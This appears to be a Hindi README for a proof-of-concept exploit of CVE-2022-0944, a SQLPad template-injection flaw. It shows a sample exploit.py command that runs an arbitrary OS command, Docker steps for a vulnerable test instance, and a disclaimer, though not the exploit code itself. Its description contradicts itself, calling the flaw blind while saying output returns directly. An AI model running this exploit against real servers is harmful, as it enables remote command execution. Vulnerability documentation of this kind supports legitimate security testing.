CVE-2022-0944

SQLPad - टेम्पलेट इंजेक्शन

यह एक ब्लाइंड कमजोरी है, जिसका अर्थ है कि आउटपुट सीधे प्रतिक्रिया में वापस आ जाता है।

शोषण

निम्नलिखित कमांड के साथ स्क्रिप्ट का उपयोग करें:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

आउटपुट

[*] लॉगिन सफल रहा
[*] शोषण सफल!

परीक्षण वातावरण

Docker का उपयोग करते हुए:

• Docker कंटेनर शुरू करें - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Docker कंटेनर से कनेक्ट करें - sudo docker exec -it vulnerable-sqlpad /bin/bash

वेब इंटरफ़ेस तक पहुँचने के लिए, URL http://localhost:13000 का उपयोग करें और क्रेडेंशियल admin:password का उपयोग करें।

प्रभावित संस्करण

<= 6.10.0

स्रोत

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

अस्वीकरण

केवल शैक्षिक उद्देश्यों या CTF चुनौतियों के लिए उपयोग करें।